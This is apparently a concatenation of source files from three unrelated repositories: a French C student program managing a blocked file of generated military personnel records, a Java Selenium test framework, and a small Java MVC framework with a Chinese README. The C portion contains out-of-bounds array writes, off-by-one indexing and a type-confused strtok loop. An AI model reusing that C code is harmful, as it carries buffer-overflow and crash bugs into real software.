if (p!=0)//Si le fichier n'est pas vide
{
liredir(&f,p,&buf1);//On récupère le bloc de la queue
}
j=-1;
buf.tab[1024]="";
strcat(chaine1,matr());
// strcat(chaine1,"|");
strcat(chaine1,nom_pre());
strcat(chaine1,"|");
date_naiss(&d);
strcat(chaine1,d.annee);
strcat(chaine1,"|");
strcat(chaine1,d.mois);
strcat(chaine1,"|");
strcat(chaine1,d.jour);
strcat(chaine1,"|");
strcat(chaine1,wilaya());
strcat(chaine1,"|");
strcat(chaine1,grou_sang());
strcat(chaine1,"|");
strcat(chaine1,grade());
strcat(chaine1,"|");
strcat(chaine1,force_arm());
strcat(chaine1,"|");
strcat(chaine1,reg_mili());
strcat(chaine1,"\n");
printf("\nLA DONNEE EST : %s\n",chaine1);
tai=strlen(chaine1)+4;
itoa(tai,taille,10);///On convertit la taille en entier
taille[3]='\0';
if (tai<100) ///Pour que les trois positions du champ 'taille' soient toutes pleines
{
taille[2]=taille[1];
taille[1]=taille[0];
taille[0]='0';
}
chaine1[1024]='\0';
k=entete(&f,3);//On récupère la première position vide du fichier, pour y insérer la donnée
for (m=0;m<=tai;m++)
{
if (k>=1024)
{
k=0;//On passe à la première position du bloc suivant
q=p;//On sauvegarde l'adresse du bloc précédent
p=allocbloc(&f);//On alloue un nouveau bloc au fichier pour y insérer la donnée
aff_entete(&f,2,p);//On met à jour la nouvelle queue dans l'entête
buf1.suiv=p;//On chaîne l'ancienne queue avec la nouvelle
ecriredir(&f,q,buf1);//On met à jour l'ancienne queue dans le fichier
aff_entete(&f,3,k);//On met à jour l'adresse de la queue dans l'entête
}
if ((m>=0)&&(m<=2))
{
buf1.tab[k]=taille[m];//On remplit le champ 'taille' avec la taille de la donnée
}
if (m==3)
{
buf1.tab[k]='0';//On met la champ 'effacé' à '0'
}
if ((m>=4))
{
buf1.tab[k]=chaine1[m-4];
}
k++;//Le remplissage se fait caractère par caractère, donc on passe à la position suivante
//dans buf
}
strcpy(chaine1,"");
buf1.suiv=-1;//On chaîne la nouvelle queue à NIL
ecriredir(&f,p,buf1);//On écrit la dernière queue dans le fichier
aff_entete(&f,3,k); //On met à jour la première position vide, et on met k à sa place
//car le k pointe la dérnière position insérée +1 . Si le bloc est plein on aura j+1=b+1
}
fermer(&f);
}
///chargement initial::::
void chargement_init(char *nomfich, int n)
{
/** partie de déclaration*/
date d;
char chaine1[1024]={0};
char entrer[1024]={0};
char taille[3]={0};
int ran;
Tbloc buf;;
int i,p,j,tai,m;
LNOVC f;
// Tbloc buf;
srand(time(NULL));
ouvrir(&f,nomfich,"n");
j=-1;
buf.tab[1024]="";
/** partie de traitement du programme*/
for(i=0;i<n;i++)
{
strcat(chaine1,matr());
strcat(chaine1,"|");
strcat(chaine1,nom_pre());
strcat(chaine1,"|");
date_naiss(&d);
strcat(chaine1,d.annee);
strcat(chaine1,"|");
strcat(chaine1,d.mois);
strcat(chaine1,"|");
strcat(chaine1,d.jour);
strcat(chaine1,"|");
strcat(chaine1,wilaya());
strcat(chaine1,"|");
strcat(chaine1,grou_sang());
strcat(chaine1,"|");
strcat(chaine1,grade());
strcat(chaine1,"|");
strcat(chaine1,force_arm());
strcat(chaine1,"|");
strcat(chaine1,reg_mili());
strcat(chaine1,"\n");
tai=strlen(chaine1)+4;
itoa(tai,taille,10);///On convertit la taille en entier
taille[3]='\0';
if (tai<100) ///Pour que les trois positions du champ 'taille' soient toutes pleines
{
taille[2]=taille[1];
taille[1]=taille[0];
taille[0]='0';
}
chaine1[1024]='\0';
ran=strlen(chaine1)+4;
for (m=0;m<=tai;m++) ///On remplit le buffer caractère par caractère
{
j++;
if (j>=1024)
{
j=0;
buf.suiv=-1;
p=allocbloc(&f);
ecriredir(&f,p,buf);
}
if ((m>=0)&&(m<=2)) ///On remplit le champ 'taille'
{
buf.tab[j]=taille[m];
}
if (m==3) ///On met le champ 'effacé' à 0
{
buf.tab[j]='0';
}
if (m>=4)
{
buf.tab[j]=chaine1[m-4];
}
}
strcpy(chaine1,"");
}
buf.suiv=-1; /**On chaîne le dernier buffer à NIL**/
p=allocbloc(&f); /**On alloue un nouveau bloc pour l'insertion du dernier buffer**/
ecriredir(&f,p,buf); /**On insère le dernier buffer dans le fichier**/
aff_entete(&f,3,j+1); /**car le j+1 pointe la dérnière position insérée+1 , donc la position libre.**/
/**Si le bloc est plein on aura j+1=b+1**/
fermer(&f);
}
///recherche d'un enregistrement
void reche1(char *nomfich,char matricul[15],int *trouv,int *i,int *j)
{
int l=1;
LNOVC f;
Tbloc buf;
int k=0 , p=0 , tai=0 , temp=0 , m=0 ;
char *token = NULL;
char taille[5]={0},chaine[15];
ouvrir(&f,nomfich,"a");
printf("\n***************");
p=entete(&f,1);///On récupère l'adresse de la tete du fichier
k=0;///k va représenter la variable de parcours du bloc
///On récupère le bloc de la tête
// printf("\nsuivant=%d",buf.suiv);
while ((p!=-1)&&(*trouv==0)&&(l<entete(&f,3)))
{
///On affecte à temp la position courante
liredir(&f,p,&buf);
*j=k;
for (m=1;m<=4;m++)
{
if (k>=1024)
{
k=0;
p=buf.suiv;
liredir(&f,p,&buf);
}
taille[m-1]=buf.tab[k];///On récupère le champ taille qui se trouve dans le fichier
k++;
}
taille[4]='\0'; ///Pour indiquer la fin du champ 'taille'
tai=atoi(taille); ///On convertit la chaine récupérée en entier
///On passe à la position suivante, car le champ 'effacé' ne nous intéresse pas ici
if (k>=1024)///A chaque fois qu'on incrémente la position courante, on doit vérifier si elle
///ne dépasse pas la taille du bloc
{
k=0;
p=buf.suiv;
liredir(&f,p,&buf);
}
for (m=1;m<=tai;m++)
{
if (k>=1024)
{
k=0;
p=buf.suiv;
liredir(&f,p,&buf);
}
chaine[m-1]=buf.tab[k];
k++;
}
chaine[15]='\0';
matricul[15]='\0';
m=strtok(chaine,"|");
while(m!=NULL)
{
if (strcmp(matricul,m)==0)
{
*trouv=1;
m=strtok(NULL,"|");
}
else
{
k=(k+tai)-9;
if (k>=1024)
{ ///On passe au début de l'enregistrementsuivante, dans le bloc suivant
k=0;
p=buf.suiv;
liredir(&f,p,&buf);
}
*i=p;///On affecte à i l'adresse du bloc courant
}
}
if ((p==entete(&f,2))&&(k==entete(&f,3))) /// On est arrivés à la première position vide du fichier
{
p=-1; /// Pour sortir de la boucle
}
///On affecte à j temp qui représente la position de l'enregistrementdans le bloc
l++;
}
fermer(&f);
}
///épuration::::::::::::::
void epuration(int array_matricule [3],int array_nom [3][15],int array_date [3][3],int array_wilaya [3],int array_sang [3],int array_grade [3],int array_force [3],int array_region [3],int sup_log[3],int n,int *nb,int *b)
{
FILE *f = fopen("PERSONNEL-ANP_DZ.bin","wb");
int i,cpt = 0;
*b = 0;
for (i = 0;i < (n - 1);i++)
{
if (array_matricule [i] == array_matricule [i + 1])
{
sup_log [i] = 0;
cpt ++;
*b = 1;
}
}
nb = (n - cpt);
for(i = 0;i < nb ;i++)
{
fprintf(f,"%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d ",array_matricule [i],array_nom[i][0],array_nom[i][1],array_nom[i][2],array_nom[i][3],array_nom[i][4],array_nom[i][5],array_nom[i][6],array_nom[i][7],array_nom[i][8],array_nom[i][9],array_nom[i][10],array_nom[i][11],array_nom[i][12],array_nom[i][13],array_nom[i][14],array_date [i][0],array_date [i][1],array_date [i][2],array_wilaya [i],array_sang [i],array_grade [i],array_force [i],array_region [i],sup_log[i]);
}
fclose(f);
}
///recharche par matricule::::::::::::
void recherche_matricul(char *nomfich,char matricul[6],int *trouv,int *i,int *j)
{//recherche sur un enregistrement relatif à une le matricule
int l=1;
LNOVC f;
Tbloc buf;
int k=0 , p=0 , tai=0 , temp=0 , m=0 ;
char taille[5]={0},chaine[6]={0};
ouvrir(&f,nomfich,"a");
printf("\n***************");
p=entete(&f,1);///On récupère l'adresse de la tete du fichier
k=0;///k va représenter la variable de parcours du bloc
///On récupère le bloc de la tête
// printf("\nsuivant=%d",buf.suiv);
while ((p!=-1)&&(*trouv==0)&&(l<entete(&f,3)))
{
///On affecte à temp la position courante
liredir(&f,p,&buf);
*j=k;
for (m=1;m<=4;m++)
{
if (k>=1024)
{
k=0;
p=buf.suiv;
liredir(&f,p,&buf);
}
taille[m-1]=buf.tab[k];///On récupère le champ taille qui se trouve dans le fichier
k++;
}
taille[3]='\0'; ///Pour indiquer la fin du champ 'taille'
tai=atoi(taille); ///On convertit la chaine récupérée en entier
///On passe à la position suivante, car le champ 'effacé' ne nous intéresse pas ici
if (k>=1024)///A chaque fois qu'on incrémente la position courante, on doit vérifier si elle
///ne dépasse pas la taille du bloc
{
k=0;
p=buf.suiv;
liredir(&f,p,&buf);
}
for (m=1;m<=6;m++)
{
if (k>=1024)
{
k=0;
p=buf.suiv;
liredir(&f,p,&buf);
}
chaine[m-1]=buf.tab[k];
k++;
}
chaine[6]='\0';
matricul[6]='\0';
if (strcmp(chaine,matricul)==0)
{
*trouv=1;
}
else
{
k=(k+tai)-9;
if (k>=1024)
{ ///On passe au début de l'enregistrementsuivante, dans le bloc suivant
k=0;
p=buf.suiv;
liredir(&f,p,&buf);
}
*i=p;///On affecte à i l'adresse du bloc courant
}
if ((p==entete(&f,2))&&(k==entete(&f,3))) /// On est arrivés à la première position vide du fichier
{
p=-1; /// Pour sortir de la boucle
}
///On affecte à j temp qui représente la position de l'enregistrementdans le bloc
l++;
}
fermer(&f);
}
/********suppression***********/
void suppressionlnovc(char *nomfich,char matricule[6])
//Effectue la suppression logique d'un enregistrement relativement à une matricule donnée
{
LNOVC f;
Tbloc buf;
int tai,m,i=1,j,trouv=0;
char taille[3];
recherche_matricul(nomfich,matricule,&trouv,&i,&j);//On recherche l'enregistrementdans le fichier
ouvrir(&f,nomfich,"a");
if (trouv==1)// Si donnée trouvée
{
liredir(&f,i,&buf);//On récupère le bloc où se trouve l'enregistrementà supprimer ( dont l'adresse est le 'i' sortant du module de recherche
for (m=0;m<=2;m++)//On récupère la taille de l'enregistrementpour la mise à jour de l'entête du nombre de caractères
//supprimés
{
if (j>=1024)//Si la position courante dépasse la taille du bloc
{
j=0;
i=buf.suiv;//On passe au bloc suivant
liredir(&f,i,&buf);
}
taille[m-1]=buf.tab[j];//On récupère le champ taille qui se trouve dans le fichier
j++;
}
taille[3]='\0';//Pour indiquer la fin du champ 'taille'
tai=atoi(taille);//On convertit la chaine récupérée en entier
if (j>=1024)//Si le champ effacé de l'enregistrementse trouve dans le bloc suivant
{
i=buf.suiv;//On passe au bloc suivant
liredir(&f,i,&buf);
}
j=j%1024;//On récupère le champ 'effacé' de la donnée
if (buf.tab[j]=='0')//Donnée non supprimée
{
buf.tab[j]='1';//On supprime logiquement l'enregistrement(champ 'effacé' à 1 )
ecriredir(&f,i,buf);//On met à jour le bloc dans le fichier
aff_entete(&f,4,entete(&f,4)+tai);//On incrémente le nombre de données supprimées dans l'entête du fichier
}
else printf("\Cette enregistrement est d%cja supprim%ce !\n",130,130);
}
else
{
printf("\nCette enregistrement n'existe pas.\n");
}
fermer(&f);
}
void modif_region(char *nomfich,char matricule[6],char rg[14])
{
LNOVC f;
Tbloc buf ;
int trouv,o,i,j,k=0,m,tai,l;
char taille[3]=" ";
recherche_matricul(nomfich,matricule,&trouv,&i,&j);
if (trouv==1)
{
ouvrir(&f,nomfich,"a");
liredir(&f,i,&buf);
for (m=0;m<=2;m++)
{
taille[m-1]=buf.tab[k];//On récupère le champ taille qui se trouve dans le fichier
k++;
}
taille[3]='\0'; ///Pour indiquer la fin du champ 'taille'
tai=atoi(taille); ///On convertit la chaine récupérée en entier
for(l=0;l<12;l++)
{
buf.tab[tai-l]=rg[l];
}
}
else printf("la donné n'existe pas");
fermer(&f);
}
int main()
{
LNOVC f;
char nomfich[20]="";
char cle[6]="";char chaine[1024]="";
int i,j,trouv;
int n;
float temp;
while (1==1)
{
system("cls");
int ChoixMenu;
{
printf("TP2 SFSD : MANIPULATION DES FICHIER LNOVC.\n\n");
printf("************************MENU**************************\n");
printf(" 1-Chargement initial d'un fichier\n");
printf(" 2-épuration du fichier\n",133);
printf(" 3-Recherche d'une donnee dans le fichier \n");
printf(" 4-Insertion d’un nouvel enregistrement au fichier\n");
printf(" 5-Supprimer un enregistrement donné par le matricule\n");
printf(" 6-Supprimer tous les enregistrements relatifs à une force armée\n");
printf(" 7-Modification de la région militaire d’un enregistrement\n");
printf("\n\nQUEL EST VOTRE CHOIX?");
scanf("%d",&ChoixMenu);
switch (ChoixMenu)
{
case 1:
printf("\nChargement initial d'un fichier :\n");
printf("Non du fichier (ajouter le .bin) : ");
scanf("%s",nomfich);
printf("\n");
printf("donner le nombre d'enregestrement :");
scanf("%d",&n);
chargement_init(nomfich,n);
printf("\nvoici le contenude votre fichier :\n");
ecritlnovc(nomfich);
printf("\n");
system("pause");
break;
case 2:
printf("\n%cpuration du fichier:\n",133);
printf("Nom du fichier (ajouter le .bin):");
scanf("%s",nomfich);
printf("\nLe nom du fichier = %s",nomfich);
printf("\n");
printf("voici votre nouvel fichier :\n");
ecritlnovc(nomfich);
printf("\n");
system("pause");
break;
case 3:
printf("\nRecherche d'une donnee dans le fichier :\n");
printf("Nom du fichier (ajouter le .bin):");
scanf("%s",nomfich);
printf("\n");
printf("Entrer le matricule:");
scanf("%s",cle);
printf("\n");
recherche_matricul(nomfich,cle,&trouv,&i,&j);
if (trouv) printf("LA DONNE EXISTE AU BLOC %d ET A LA POSITION %d",i,j);
else printf("LA DONNEE N'EXISTE PAS ");
printf("\n");
system("pause");
break;
case 4:
printf("\nInsertion d’un nouvel enregistrement au fichier:\n");
printf("Nom du fichier (Ajouter le .bin):");
scanf("%s",nomfich);
printf("\n");
printf("\nLa donn%ce %c ins%crer(Al%catoirement):",130,133,130,130,130);
printf("\n");
insertionlnovc(nomfich,chaine);
printf("voici le contenu de fichier:\n\n");
ecritlnovc(nomfich);
printf("\n");
system("pause");
break;
case 5:
printf("\nSupprimer un enregistrement donné par le matricule :\n\n");
printf("Nom du fichier ():");
scanf("%s",nomfich);
printf("Entrer le matricule:");
scanf("%s",cle);
suppressionlnovc(nomfich,cle);
printf("VOICI LE NOUVEAU CONTENU DU FICHIER : \n\n");
ecritlnovc(nomfich);
printf("\n\n\n");
system("pause");
break;
case 6:
printf("\nSupprimer tous les enregistrements relatifs à une force armée:\n\n");
printf("Nom du fichier:");
scanf("%s",nomfich);
printf("Donner une force armée:");
scanf("%s",cle);
suppressionlnovc(nomfich,cle);
printf("Voici le contenu de fichier:\n\n");
ecritlnovc(nomfich);
printf("\n");
system("pause");
break;
case 7:
printf("\nModification de la région militaire d’un enregistrement.:\n\n");
printf("Nom du fichier :");
scanf("%s",nomfich);
printf("donner le matricule :");
scanf("%s",cle);
printf("donner la nouvelle Région_militaire:");
scanf("%s",chaine);
modif_region(nomfich,cle,chaine);
printf("\n");
system("pause");
break;
}
}
}
}
| abcfa04f655f8e068b7c6076eb03c876dba6a045 | [
"C"
] | 1 | C | MahiBegoug/TraitementFichier | 7931233278b73209b1e8c43c446340ee45b6f990 | 99fb65e338b05cfc91139b4e60138e508a18115d |
refs/heads/master | <file_sep>package com.QAAutomation.Base;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Properties;
import java.util.concurrent.TimeUnit;
import org.apache.log4j.Logger;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.ui.WebDriverWait;
import org.testng.annotations.AfterSuite;
import org.testng.annotations.BeforeSuite;
import com.QAAutomation.Utilities.ExcelReader;
import com.QAAutomation.Utilities.ExtentManager;
import com.aventstack.extentreports.ExtentReports;
import com.aventstack.extentreports.ExtentTest;
public class TestBase {
/*Initializing
* WebDriver
* Properties
* Logs
* ExtentReport
* DB
* Excel
* Mail
*/
public static WebDriver driver;
public static Properties config;
public static FileInputStream fis;
public static Logger log=Logger.getLogger("devpinoyLogger");
public static ExcelReader e=new ExcelReader("/Users/ojaskulkarni/eclipse-workspace/DataDrivenFramework/src/test/resources/ExcelTestData/TestData.xlsx");
public static WebDriverWait wait;
public static ExtentReports rep=ExtentManager.getInstance();
public static ExtentTest test;
public static String browser;
@BeforeSuite
public WebDriver SetUp() throws IOException {
config=new Properties();
FileInputStream fis=new FileInputStream("/Users/ojaskulkarni/eclipse-workspace/DataDrivenFramework/src/test/resources/Properties/Config.properties");
config.load(fis);
log.debug("Config File Loaded");
String browserName=config.getProperty("browser");
if(System.getenv("browser")!=null && !System.getenv("browser").isEmpty()){
browser=System.getenv("browser");
}else {
browser=config.getProperty("browser");
}
config.setProperty("browser", browser);
if(browserName.equalsIgnoreCase("chrome"))
{
System.setProperty("webdriver.chrome.driver", "/Users/ojaskulkarni/Desktop/Selenium/Drivers/chromedriver");
driver =new ChromeDriver();
log.debug("Chrome Browser Launched");
}
else if(browserName.equalsIgnoreCase("firefox")) {
System.setProperty("webdriver.gecko.driver", "/Users/ojaskulkarni/Desktop/Selenium/Drivers/geckodriver");
driver= new FirefoxDriver();
}
driver.get(config.getProperty("url"));
log.debug("URL Launched"+config.getProperty("url"));
//driver.manage().window().maximize();
driver.manage().timeouts().implicitlyWait(5, TimeUnit.SECONDS);
wait=new WebDriverWait(driver,5);
return driver;
}
/*public void click(WebElement element) {
element.click();
test.log(Status.INFO, "Clicking on"+" "+element);
}
public void type(WebElement element, String value) {
element.sendKeys(value);
test.log(Status.INFO, "Typing on"+" "+element+"Values are"+ " "+value);
}
*/
@AfterSuite
public void tearDown() throws InterruptedException {
driver.quit();
}
}
<file_sep>package com.QAAutomation.TestCases;
import java.io.IOException;
import org.openqa.selenium.Alert;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.testng.annotations.Test;
import com.QAAutomation.Base.TestBase;
import com.QAAutomation.PageFactory.AddCustomer;
import com.QAAutomation.Utilities.TestUtil;
public class AddCustomerTest extends TestBase{
@Test(dataProviderClass=TestUtil.class,dataProvider="dp")
public void addCustomerTest(String firstName,String lastName,String postalcode) throws IOException, InterruptedException {
log.debug("Inside Add Customer Page");
AddCustomer addc=new AddCustomer(driver);
addc.addCutomerButton().click();
addc.enterFirstName().sendKeys(firstName);
addc.enterLastName().sendKeys(lastName);
addc.enterPostCode().sendKeys(postalcode);
addc.AddCustomerSubmit().click();
Alert alert=wait.until(ExpectedConditions.alertIsPresent());
alert.accept();
}
}
<file_sep>[SuiteResult context=LoginTest][SuiteResult context=AddCustomer][SuiteResult context=OpenAccount]<file_sep>package com.QAAutomation.Utilities;
import java.io.IOException;
import com.aventstack.extentreports.ExtentReports;
import com.aventstack.extentreports.reporter.ExtentSparkReporter;
public class ExtentManager {
public static ExtentReports extent;
public static String ExtentReportFilePath;
public static ExtentSparkReporter spark;
public static ExtentReports getInstance() {
ExtentReportFilePath="/Users/ojaskulkarni/eclipse-workspace/DataDrivenFramework/target/surefire-reports/html/extentReport.html";
extent= new ExtentReports();
spark = new ExtentSparkReporter(ExtentReportFilePath);
extent.attachReporter(spark);
try {
spark.loadXMLConfig("/Users/ojaskulkarni/eclipse-workspace/DataDrivenFramework/src/test/resources/extentConfig.xml");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return extent;
}
}
<file_sep>package com.QAAutomation.Listeners;
import java.io.IOException;
import org.testng.ITestContext;
import org.testng.ITestListener;
import org.testng.ITestResult;
import org.testng.Reporter;
import org.testng.SkipException;
import com.QAAutomation.Base.TestBase;
import com.QAAutomation.Utilities.TestUtil;
import com.aventstack.extentreports.Status;
public class CustomListeners extends TestBase implements ITestListener {
public void onTestStart(ITestResult result) {
// TODO Auto-generated method stub
String testname=result.getMethod().getMethodName();
test=rep.createTest(testname);
//runmode -Y
}
public void onTestSuccess(ITestResult result) {
test.log(Status.PASS, result.getName()+" "+"pass");
}
public void onTestFailure(ITestResult result) {
// TODO Auto-generated method stub
test.log(Status.FAIL, result.getName()+" "+"Failed with Exception"+result.getThrowable());
//test.addScreenCaptureFromPath(TestUtil.scrName);
try {
TestUtil.CaptureScreenshot();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.setProperty("org.uncommons.reportng.escape-output", "false");
Reporter.log("Click to see Screenshot");
Reporter.log("<a target=\"_blank\" href="+TestUtil.scrName+">Screenshot</a>");
}
public void onTestSkipped(ITestResult result) {
// TODO Auto-generated method stub
test.log(Status.SKIP, "Skipping Test as RunMode is No"+result.getName());
}
public void onTestFailedButWithinSuccessPercentage(ITestResult result) {
// TODO Auto-generated method stub
}
public void onStart(ITestContext context) {
// TODO Auto-generated method stub
}
public void onFinish(ITestContext context) {
// TODO Auto-generated method stub
rep.flush();
}
}
<file_sep>package com.QAAutomation.TestCases;
import java.io.IOException;
import org.testng.Assert;
import org.testng.Reporter;
import org.testng.annotations.Test;
import com.QAAutomation.Base.TestBase;
import com.QAAutomation.PageFactory.BankManagerLogin;
import com.QAAutomation.PageFactory.LoginPage;
public class BankManagerLoginTest extends TestBase {
@Test
public void LoginAsBankManager() throws IOException {
System.setProperty("org.uncommons.reportng.escape-output", "false");
log.debug("Inside Login Test");
LoginPage p = new LoginPage(driver);
p.getManagerLogin().click();
log.debug("Login Successfully Executed");
BankManagerLogin bm = new BankManagerLogin(driver);
Assert.assertTrue(bm.getAddCustomersButton().isDisplayed(), "Login not Successful");
log.debug("Bank manager Login Test Pass");
Reporter.log("Bank manager Login Test Pass");
}
}
<file_sep> bmlbtn=//button[contains(text(),'Bank Manager Login')]
| e603ffc51c8dc1ac0e9460b45aaad3d87742ae87 | [
"Java",
"INI"
] | 7 | Java | ojas30kulkarni/Selenium_Projects | 056e0934b14d71abb1f5750a92fa04254e9bcd0c | b4dc0926c56e70f669a67c1af845a35d8b09ef41 |
refs/heads/master | <repo_name>ikutarian/sakamichi<file_sep>/src/main/java/com/okada/sakamichi/config/Constants.java
package com.okada.sakamichi.config;
public class Constants {
public static final class InitParameter {
public static final String BOOTSTRAP = "bootstrap";
}
public static final String DEFAULT_CHAR_SET = "UTF-8";
public static final String DEFAULT_VIEW_PREFIX = "/WEB-INF/view/";
public static final String DEFAULT_VIEW_SUFFIX = ".jsp";
}
<file_sep>/src/main/java/com/okada/sakamichi/util/JSONUtils.java
package com.okada.sakamichi.util;
import com.fasterxml.jackson.annotation.JsonInclude;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JSONUtils {
private static ObjectMapper mapper = new ObjectMapper();
static {
mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);
}
public static String objToStr(Object obj) {
try {
return mapper.writeValueAsString(obj);
} catch (JsonProcessingException e) {
e.printStackTrace();
return null;
}
}
public static <T> T strToObj(String str, Class<T> clazz) {
try {
return mapper.readValue(str, clazz);
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
}
<file_sep>/src/main/java/com/okada/sakamichi/util/ValidateUtils.java
package com.okada.sakamichi.util;
public class ValidateUtils {
public static void notBlank(String str, String message) {
if (StringUtils.isBlank(str)) {
throw new IllegalArgumentException(message);
}
}
public static void notNull(Object obj, String message) {
if (obj == null) {
throw new IllegalArgumentException(message);
}
}
}
<file_sep>/README.md
## 一个简单MVC框架
框架名称是 `SakaMichi`,这是一个日文的罗马拼音,汉字写作“坂道”。走在坂道上,只有不断攀登才能看到更好的风景。
## 使用方法
三个步骤:
1. 定义控制器
```java
public class IndexController {
public void index(Request request, Response response){
request.attr("name", "okada");
response.view("hello");
}
public void json(Request request, Response response){
Map<String, Object> json = new HashMap<>();
json.put("code", 0);
json.put("msg", "ok");
json.put("data", "ojbk");
response.json(json);
}
}
```
2. 实现 `Bootstrap` 接口,定义路由
```java
public class App implements Bootstrap {
@Override
public void init(SakaMichi sakaMichi) {
IndexController indexController = new IndexController();
sakaMichi.addRoute("/", "index", indexController);
sakaMichi.addRoute("/json", "json", indexController);
}
}
```
3. 添加过滤器
在 `web.xml` 中添加过滤器
```xml
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1" metadata-complete="true">
<filter>
<filter-name>sakamichi</filter-name>
<filter-class>com.okada.sakamichi.SakaMichiFilter</filter-class>
<init-param>
<param-name>bootstrap</param-name>
<param-value>com.okada.sakamichi.App</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>sakamichi</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
```
## 框架是怎么搭建起来的
对于这个框架我会从以下几个方面来讲解
1. 项目规划
3. 设计思路
2. 路由设计
3. 控制器设计
4. 视图设计
5. 数据库操作
## 项目规划
约定包名:`com.okada.sakamichi`,使用了以下依赖
* JDK 1.8
* Servlet 3.1
* Logback 1.2.3
* jackson 2.9.6
`pom.xml` 文件的内容如下
```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.okada</groupId>
<artifactId>sakamichi</artifactId>
<version>1.0</version>
<packaging>war</packaging>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.2.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.6</version>
</dependency>
</dependencies>
<build>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.3</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
```
## 设计思路
SakaMichi 是基于 Servlet 实现的,利用过滤器(filter)拦截所有请求对请求进行处理,数据库访问层利用了 sql2o 库。开发者只需要实现 `Bootstrap` 接口,约定好控制器即可。
## 路由设计
一个 url 通常如下
```txt
http://example.com/
http://example.com/user/list?p=2&size=20
```
在框架中,讲 uri、action、controller 三者合一,封装成 `Route` 类
```java
/**
* 路由
*/
public class Route {
private final String uri;
private final Method action;
private final Object controller;
}
```
SakaMichi 是基于 Servlet 实现的,利用过滤器(filter)拦截所有请求对请求进行处理。filter 过来的请求有很多个,如何框架如何知道哪一个请求对应哪一个路由呢?
两个操作:
1. 解析 url,获取 uri
2. 遍历 Route 容器,找到对应的 Route
解析 url,获取 uri
```java
String uri = httpRequest.getRequestURI();
```
遍历 Route 容器,找到对应的 Route
```java
public Route matchUri(String uri) {
for (Route route : routeList) {
if (route.getUri().equals(uri)) {
return route;
}
}
return null;
}
```
## 控制器设计
在框架中我们把控制器放在 Route 的 controller 属性上,实际上一个请求过来之后最终是落在 controller 的某个 action 去处理的。框架是采用反射实现动态调用方法执行的
```java
Object controller = route.getController();
Method action = route.getAction();
try {
action.invoke(controller, request, response);
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
```
## 视图设计
该框架可以返回页面和 json 数据
返回页面,调用的了 Servlet 的方法
```java
HttpServletRequest.getRequestDispatcher("").forward(servletRequest, servletResponse);
```
返回 json,利用 `HttpServletResponse.writer` 输出 json 内容
```java
public void json(String json) {
httpServletResponse.setContentType("application/json; charset=utf-8");
PrintWriter out = null;
try {
out = httpServletResponse.getWriter();
out.write(json);
} catch (IOException e) {
e.printStackTrace();
} finally {
if (out != null) {
out.close();
}
}
}
```
5. 数据库操作
<file_sep>/src/main/java/com/okada/sakamichi/SakaMichiException.java
package com.okada.sakamichi;
public class SakaMichiException extends RuntimeException {
public SakaMichiException(String message) {
super(message);
}
}
<file_sep>/src/main/java/com/okada/sakamichi/SakaMichiFilter.java
package com.okada.sakamichi;
import com.okada.sakamichi.config.Constants;
import com.okada.sakamichi.servlet.wrapper.Request;
import com.okada.sakamichi.servlet.wrapper.Response;
import com.okada.sakamichi.util.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class SakaMichiFilter implements Filter {
private static final Logger log = LoggerFactory.getLogger(SakaMichiFilter.class);
@Override
public void init(FilterConfig filterConfig) throws ServletException {
log.info("SakaMichi初始化");
SakaMichi sakaMichi = SakaMichi.noboru();
String bootstrapClassName = filterConfig.getInitParameter(Constants.InitParameter.BOOTSTRAP);
if (StringUtils.isBlank(bootstrapClassName)) {
throw new SakaMichiException("bootstrapClassName 不能为空");
}
Bootstrap bootstrap = newInstance(bootstrapClassName);
bootstrap.init(sakaMichi);
}
private Bootstrap newInstance(String className) {
try {
Class<?> aClass = Class.forName(className);
return (Bootstrap) aClass.newInstance();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
throw new SakaMichiException("初始化Bootstrap失败");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
httpRequest.setCharacterEncoding(Constants.DEFAULT_CHAR_SET);
